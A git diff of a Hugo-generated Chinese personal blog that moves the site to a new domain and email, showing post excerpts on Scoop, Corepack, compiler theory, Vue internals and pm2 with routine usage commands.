href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -33,32 +33,24 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
+scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://chenjunlinabc.github.io/posts/150/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
-如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
-启用corepack
-corepack enable
-限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-"packageManager": "yarn@1.22.19"
-表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+"packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
-指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
-使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
-启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
-或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://xiaochenabc123.github.io/posts/149/></a></article><article class=post-entry><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://chenjunlinabc.github.io/posts/149/></a></article><article class=post-entry><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -90,16 +82,12 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://xiaochenabc123.github.io/posts/148/></a></article><article class=post-entry><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
+语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://chenjunlinabc.github.io/posts/148/></a></article><article class=post-entry><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
-import App from './app'
-const app = createApp(App)
-app.mount('#app')
-通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://xiaochenabc123.github.io/posts/147/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Pm2---node进程管理工具</h2></header><div class=entry-content><p>安装pm2
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://chenjunlinabc.github.io/posts/147/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Pm2---node进程管理工具</h2></header><div class=entry-content><p>安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
 pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo
@@ -124,8 +112,8 @@
 查看全部进程的日志
 pm2 logs
 清空所有日志文件
-pm2 flush</p></div><footer class=entry-footer><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Pm2---node进程管理工具" href=https://xiaochenabc123.github.io/posts/pm2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/2/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+pm2 flush</p></div><footer class=entry-footer><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Pm2---node进程管理工具" href=https://chenjunlinabc.github.io/posts/pm2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/2/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/4/index.html b/page/4/index.html
index 890a4c65..6130c182 100644
--- a/page/4/index.html
+++ b/page/4/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button 